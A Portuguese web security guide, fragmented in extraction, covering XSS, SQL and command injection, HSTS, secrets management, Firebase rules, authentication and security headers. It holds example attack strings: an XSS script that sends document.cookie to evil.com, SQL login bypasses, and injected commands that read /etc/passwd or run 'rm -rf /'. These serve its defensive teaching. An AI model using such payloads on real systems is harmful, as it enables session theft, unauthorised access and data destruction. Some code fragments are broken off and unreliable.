
<script>fetch('https://evil.com?cookie='+document.cookie)</script>. Quando outros usuários visualizarem essa página, o script será executado em seus navegadores, enviando seus cookies de sessão para o servidor do atacante.site.com/busca?q=<script>alert(1)</script>location.hash e o insere diretamente no HTML via innerHTMLSELECT * FROM usuarios WHERE username = '{input_usuario}' AND password = '{input_senha}'. Se um atacante inserir admin' -- como nome de usuário, a consulta se torna: SELECT * FROM usuarios WHERE username = 'admin' --' AND password = '...'. O -- é um comentário em SQL, então a verificação de senha é completamente ignorada, e o atacante faz login como administrador sem conhecer a senha.xp_cmdshell no SQL Server), levando ao comprometimento total do sistema.
ping {input_usuario}, um atacante pode inserir 8.8.8.8; cat /etc/passwd ou 8.8.8.8 && rm -rf /. O ponto-e-vírgula ou os operadores && ou || permitem encadear múltiplos comandos.? ou :nome_parametro) onde os dados dinâmicos serão inseridos. Depois, você passa os dados separadamente, e o driver do banco de dados garante que eles sejam tratados apenas como dados, não como código.query = "SELECT * FROM usuarios WHERE username = '" + input + "'", você escreve query = "SELECT * FROM usuarios WHERE username = ?" e depois executa com execute(query, [input]). Não importa o que o usuário digite — mesmo que seja ' OR '1'='1 — o banco de dados tratará isso como o valor literal do campo username, não como parte da lógica SQL.//< se torna <, impedindo que seja interpretado como início de uma tag HTML.<div>{userName}</div> em React, o framework automaticamente codifica userName antes de renderizá-lo. No entanto, você precisa ter extremo cuidado com recursos que permitem inserir HTML bruto, como dangerouslySetInnerHTML no React ou v-html no Vue — use-os apenas quando absolutamente necessário e sempre com dados sanitizados.example.com fará primeiro uma requisição HTTP (que pode ser interceptada ou manipulada) antes de ser redirecionado. Com HSTS, o navegador pula direto para HTTPS.Strict-Transport-Security: max-age=31536000; includeSubDomains; preload. O parâmetro max-age especifica por quantos segundos o navegador deve lembrar dessa política (31536000 = 1 ano). includeSubDomains aplica a política a todos os subdomínios. preload indica que você deseja que seu domínio seja incluído na lista de pré-carregamento HSTS.# Apache (.htaccess ou configuração do host virtual)
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
# Nginx (configuração do server block)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Node.js/Express
app.use((req, res, next) => {
res.setHeader('Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload');
next();
});
.gitignore é o mecanismo fundamental do Git para especificar quais arquivos e pastas devem ser ignorados pelo controle de versão. Configurar corretamente este arquivo é o primeiro e mais crucial passo para evitar que segredos e arquivos sensíveis sejam acidentalmente commitados no repositório. Cada projeto deve ter um .gitignore robusto desde o primeiro commit..gitignore. Primeiro, arquivos de configuração de ambiente que contêm segredos: .env, .env.local, .env.production, config/secrets.yml, etc. Segundo, pastas de dependências que são grandes e devem ser instaladas localmente: node_modules/, vendor/, venv/, etc. Terceiro, artefatos de build e arquivos gerados: build/, dist/, *.log, .DS_Store (macOS), Thumbs.db (Windows)..gitignore tarde demais, após já ter commitado arquivos sensíveis. Se isso acontecer, simplesmente adicionar esses arquivos ao .gitignore e removê-los do repositório não é suficiente — eles ainda estarão no histórico do Git. Você precisará usar ferramentas como git filter-branch ou BFG Repo-Cleaner para remover esses arquivos do histórico completo, e depois considerar todas as chaves expostas como comprometidas e rotacioná-las imediatamente.# .gitignore padrão para projeto Node.js/React
# Dependências
node_modules/
package-lock.json (se usar yarn)
yarn.lock (se usar npm)
# Variáveis de ambiente e segredos
.env
.env.local
.env.development
.env.production
.env.test
# Arquivos de build
build/
dist/
.next/
out/
# Logs e temporários
*.log
npm-debug.log*
yarn-debug.log*
.DS_Store
Thumbs.db
# IDEs e editores
.vscode/
.idea/
*.swp
*.swo
# Testes e cobertura
coverage/
.nyc_output/
# Específico do sistema operacional
.DS_Store
Thumbs.db
// Expõe chave de API diretamente
const API_KEY = "AIzaSyB1234567890abcdefghij";
const DB_PASSWORD = "minha_senha_secreta_123";
fetch(`https://api.service.com/data?key=${API_KEY}`);
// Use variáveis de ambiente
const API_KEY = process.env.REACT_APP_API_KEY;
const DB_PASSWORD = process.env.DB_PASSWORD;
fetch(`https://api.service.com/data?key=${API_KEY}`);
.env (para desenvolvimento local, no .gitignore) e em variáveis de ambiente configuradas no servidor/serviço de hospedagem (para produção)..env na raiz do projeto (e garanta que ele esteja no .gitignore) contendo suas chaves: REACT_APP_API_KEY=sua_chave_aqui. Frameworks como Create React App, Next.js e Vite suportam automaticamente a leitura de variáveis de ambiente de arquivos .env. Inclua um arquivo .env.example no repositório (sem valores reais, apenas os nomes das variáveis necessárias) para documentar quais variáveis precisam ser configuradas..env são convenientes para desenvolvimento local, em produção você deve usar os sistemas de gerenciamento de segredos fornecidos pelo seu provedor de hospedagem ou plataforma de nuvem. Cada provedor tem sua própria interface para isso, mas o conceito é universal: você armazena suas credenciais em um local seguro e criptografado na infraestrutura do provedor, e elas são injetadas como variáveis de ambiente em seu código em tempo de execução.process.env.NOME_VARIAVEL no código.heroku config:set via CLI ou o dashboard web em Settings → Config Vars${{ secrets.NOME_DO_SECRET }}. O GitHub automaticamente mascara esses valores nos logs, então mesmo que você acidentalmente os imprima, eles aparecerão como ***. Nunca coloque credenciais diretamente no arquivo .yml do workflow — esses arquivos são commitados no repositório e visíveis para qualquer pessoa com acesso.# .github/workflows/deploy.yml
name: Deploy to Production
on:
push:
branches: [ main ]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Deploy to Vercel
env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
run: |
npm install -g vercel
vercel --token=$VERCEL_TOKEN --prod
main, master ou production representam o código que está (ou estará em breve) em produção, servindo usuários reais. Permitir que commits sejam feitos diretamente nesses branches sem revisão é uma prática arriscada que pode resultar em código buggy, inseguro ou até mesmo malicioso chegando aos usuários.
match /{document=**} { allow read, write: if false; }. Isso nega todo acesso a todas as coleções por padrão. Você então adiciona regras mais específicas que sobrescrevem essa negação para casos específicos.request.auth.uid para garantir que os usuários só possam acessar seus próprios dados. Por exemplo, uma coleção users onde cada documento tem o UID do usuário como ID pode usar: allow read, write: if request.auth != null && request.auth.uid == userId;rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// Negar tudo por padrão
match /{document=**} {
allow read, write: if false;
}
// Usuários podem ler/escrever apenas seus próprios dados
match /users/{userId} {
allow read, write: if request.auth != null
&& request.auth.uid == userId;
}
// Posts públicos podem ser lidos por todos,
// mas só criados/editados por usuários autenticados
match /posts/{postId} {
allow read: if true;
allow create: if request.auth != null
&& request.resource.data.authorId == request.auth.uid;
allow update, delete: if request.auth != null
&& resource.data.authorId == request.auth.uid;
}
}
}
request.resource.data, que representa os dados que o cliente está tentando escrever.request.resource.data.age is int, request.resource.data.email is string, request.resource.data.verified is boolrequest.resource.data.email.matches('[^@]+@[^@]+\\.[^@]+') valida que email contém @ e um domíniorequest.resource.data.keys().hasAll(['title', 'content', 'authorId']) verifica que o documento tem esses camposrequest.resource.data.title.size() <= 100 garante que o título não exceda 100 caracteresrequest.resource.data.rating >= 1 && request.resource.data.rating <= 5 para avaliações de 1 a 5 estrelasrequest.resource.data.createdAt == resource.data.createdAt em operações de updateisValidPost() que verifica se um post tem todos os campos obrigatórios no formato correto, e então chamá-la nas suas regras de allow.
// Configuração do App Check (React/JavaScript)
import { initializeApp } from 'firebase/app';
import { initializeAppCheck, ReCaptchaV3Provider } from 'firebase/app-check';
const app = initializeApp(firebaseConfig);
// Inicialize App Check ANTES de usar qualquer serviço do Firebase
const appCheck = initializeAppCheck(app, {
provider: new ReCaptchaV3Provider('RECAPTCHA_SITE_KEY_AQUI'),
isTokenAutoRefreshEnabled: true
});
// Agora pode usar Firestore, Storage, etc normalmente
// O App Check adiciona tokens automaticamente
https://seusite.com/* e https://*.seusite.com/* para incluir subdomínios. Você também deve adicionar http://localhost:* para desenvolvimento local. Isso garante que a chave só funcione quando as requisições vêm desses domínios específicos.
request.auth. Quando um usuário está autenticado, request.auth.uid contém o ID único do usuário, permitindo que você escreva regras que garantem que usuários só acessem seus próprios dados.context.auth (para callable) ou decodificando o token JWT manualmente (para HTTPS padrão). Retorne erro 401 ou 403 se não autenticado/autorizado.export const sensitiveOperation = functions.https.onCall((data, context) => {
if (!context.auth) {
throw new functions.https.HttpsError('unauthenticated', 'Usuário deve estar autenticado');
}
// Lógica da função...
});
// Exemplo de middleware de autenticação (Node.js/Express)
const jwt = require('jsonwebtoken');
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'Token não fornecido' });
}
jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
if (err) {
return res.status(403).json({ error: 'Token inválido' });
}
req.user = user; // Adiciona info do usuário à requisição
next();
});
}
// Uso em rotas
app.get('/api/pedidos', authenticateToken, async (req, res) => {
// req.user contém informações do usuário autenticado
const userId = req.user.id;
// Autorização: buscar apenas pedidos deste usuário
const pedidos = await db.query(
'SELECT * FROM pedidos WHERE user_id = ?',
[userId]
);
res.json(pedidos);
});
// Validação com Joi (Node.js)
const Joi = require('joi');
const userSchema = Joi.object({
username: Joi.string()
.alphanum()
.min(3)
.max(30)
.required(),
email: Joi.string()
.email()
.required(),
age: Joi.number()
.integer()
.min(13)
.max(120)
.required(),
bio: Joi.string()
.max(500)
.optional()
});
app.post('/api/users', async (req, res) => {
// Validar dados recebidos
const { error, value } = userSchema.validate(req.body);
if (error) {
return res.status(400).json({
error: 'Dados inválidos',
details: error.details
});
}
// value contém os dados validados
const { username, email, age, bio } = value;
// Sanitizar o campo bio (pode conter HTML)
const DOMPurify = require('isomorphic-dompurify');
const cleanBio = DOMPurify.sanitize(bio || '');
// Inserir no banco usando prepared statement
await db.query(
'INSERT INTO users (username, email, age, bio) VALUES (?, ?, ?, ?)',
[username, email, age, cleanBio]
);
res.status(201).json({ message: 'Usuário criado com sucesso' });
});
age: "vinte" em vez de um número, ou um email inválido), a requisição é rejeitada imediatamente com status 400 e detalhes do erro. Isso previne que dados malformados prossigam para a lógica de negócio.bio, que pode conter HTML fornecido pelo usuário, é sanitizado usando DOMPurify para remover qualquer JavaScript ou tags perigosas, permitindo apenas HTML seguro de formatação básica.// Expõe detalhes do banco de dados
{
"error": "MongoError: E11000 duplicate key error collection: mydb.users index: email_1 dup key: { email: '[email protected]' }",
"stack": "at /home/app/node_modules/mongodb/lib/operations/insert.js:45:21..."
}
// Mensagem genérica para o cliente
{
"error": "Não foi possível criar o usuário. Verifique os dados e tente novamente.",
"errorCode": "USER_CREATION_FAILED"
}
// Log detalhado no servidor (não visível ao cliente)
[ERROR] [2024-01-15 10:30:45] User creation failed
Email: [email protected]
Error: E11000 duplicate key (email index)
Stack: at /home/app/node_modules/mongodb/lib/...
RequestID: req_7f8g9h0i1j2k
default-src 'self'; script-src 'self' https://apis.google.com; img-src 'self' data: https:;. Previne XSS limitando de onde scripts podem ser executados.max-age=31536000; includeSubDomains; preload. Previne downgrade attacks e man-in-the-middle.DENY (nunca), SAMEORIGIN (apenas no mesmo domínio). Previne clickjacking onde atacantes incorporam seu site em páginas maliciosas e tentam enganar usuários.nosniff. Impede que o navegador "adivinhe" o tipo MIME de arquivos, forçando-o a respeitar o Content-Type declarado. Previne certos tipos de ataques de drive-by download.// Node.js/Express com helmet
const express = require('express');
const helmet = require('helmet');
const app = express();
// Helmet configura múltiplos cabeçalhos de segurança
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://apis.google.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
}));
// Ou manualmente (Apache .htaccess)
Header set X-Content-Type-Options "nosniff"
Header set X-Frame-Options "SAMEORIGIN"
Header set Content-Security-Policy "default-src 'self';"
app.use(helmet())), você ativa configurações seguras padrão para mais de uma dúzia de cabeçalhos. Você pode então personalizar cada cabeçalho conforme necessário para sua aplicação..htaccess (Apache) ou arquivos de configuração de site (Nginx).// Código React - INSEGURO
const API_KEY = "sk_live_51J9x8y..."; // EXPOSTO!
fetch('https://api.stripe.com/v1/charges', {
headers: {
'Authorization': `Bearer ${API_KEY}`
}
});
// Frontend - chama seu próprio backend
fetch('/api/create-charge', {
method: 'POST',
body: JSON.stringify({ amount: 5000 })
});
// Backend (API Route) - usa a chave secreta
export default async function handler(req, res) {
const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
const charge = await stripe.charges.create(req.body);
res.json(charge);
}
script-src controla de onde scripts podem ser carregados. Se você configurar script-src 'self' https://apis.google.com, o navegador só executará scripts que vêm do seu próprio domínio ou de apis.google.com, bloqueando qualquer outro script — incluindo scripts inline ou injetados por XSS.default-src define a política padrão para todos os tipos de recurso (scripts, estilos, imagens, etc). É uma boa prática começar com default-src 'self' (apenas seu próprio domínio) e então adicionar exceções específicas conforme necessário para scripts, estilos e imagens de CDNs ou serviços de terceiros que você usa.'unsafe-inline' e 'unsafe-eval' sempre que possível, pois eles enfraquecem drasticamente a proteção do CSP. Em vez disso, mova scripts inline para arquivos externos e use nonces ou hashes para scripts que precisam estar inline.
Content-Security-Policy-Report-Only em vez de Content-Security-Policy. Isso não bloqueia violações, mas envia relatórios para uma URL que você especifica, permitindo identificar problemas antes de aplicar a política estritamente.{userName} em JSX ou {{ userName }} em Vue, o valor é automaticamente codificado em HTML antes de ser renderizado.dangerouslySetInnerHTML (React), v-html (Vue) ou innerHTML (JavaScript puro) não fazem codificação automática. Use-os apenas quando absolutamente necessário e sempre com dados sanitizados por uma biblioteca confiável como DOMPurify.// React - innerHTML bypassa proteção
function UserProfile({ user }) {
return (
// React - renderização normal codifica automaticamente
function UserProfile({ user }) {
return npm audit ou yarn audit regularmente para identificar vulnerabilidades conhecidas em suas dependências. Estes comandos consultam bases de dados de vulnerabilidades e reportam quais pacotes têm falhas de segurança conhecidas.npm audit fix tenta corrigir automaticamente vulnerabilidades atualizando pacotes para versões seguras. Use --force para fazer upgrades breaking changes quando necessário (mas teste cuidadosamente).X-Frame-Options ou a diretiva frame-ancestors do Content Security Policy para controlar se seu site pode ser exibido em iframes. O valor mais comum é X-Frame-Options: SAMEORIGIN, que permite iframes apenas dentro do mesmo domínio, ou DENY, que impede completamente o framing.// Configuração no backend (cabeçalho HTTP)
X-Frame-Options: DENY
// Ou usando CSP (mais moderno e flexível)
Content-Security-Policy: frame-ancestors 'none'
// Permitir apenas domínio específico
Content-Security-Policy: frame-ancestors 'self' https://trusted-site.com
// Node.js/Express com Helmet
app.use(helmet.frameguard({ action: 'deny' }));

if (window.top !== window.self) { window.top.location = window.self.location; }npm audit, yarn audit ou Dependabot para monitorar continuamente seu package.json (Node.js), requirements.txt (Python) ou Gemfile (Ruby) em busca de vulnerabilidades. Configure para receber alertas quando novas vulnerabilidades forem descobertas e agende tempo regular para aplicar atualizações.unattended-upgrades pode automaticamente instalar patches de segurança. Para software como Nginx, Apache, PostgreSQL ou MySQL, monitore avisos de segurança dos mantenedores e atualize para versões estáveis com correções.root ou sa), e essa aplicação é comprometida via SQL Injection, o atacante ganha controle total sobre o banco de dados — pode criar tabelas, deletar dados, até desligar o servidor."A segurança não é um produto, é um processo."— Bruce Schneier, Especialista em Segurança e Criptografia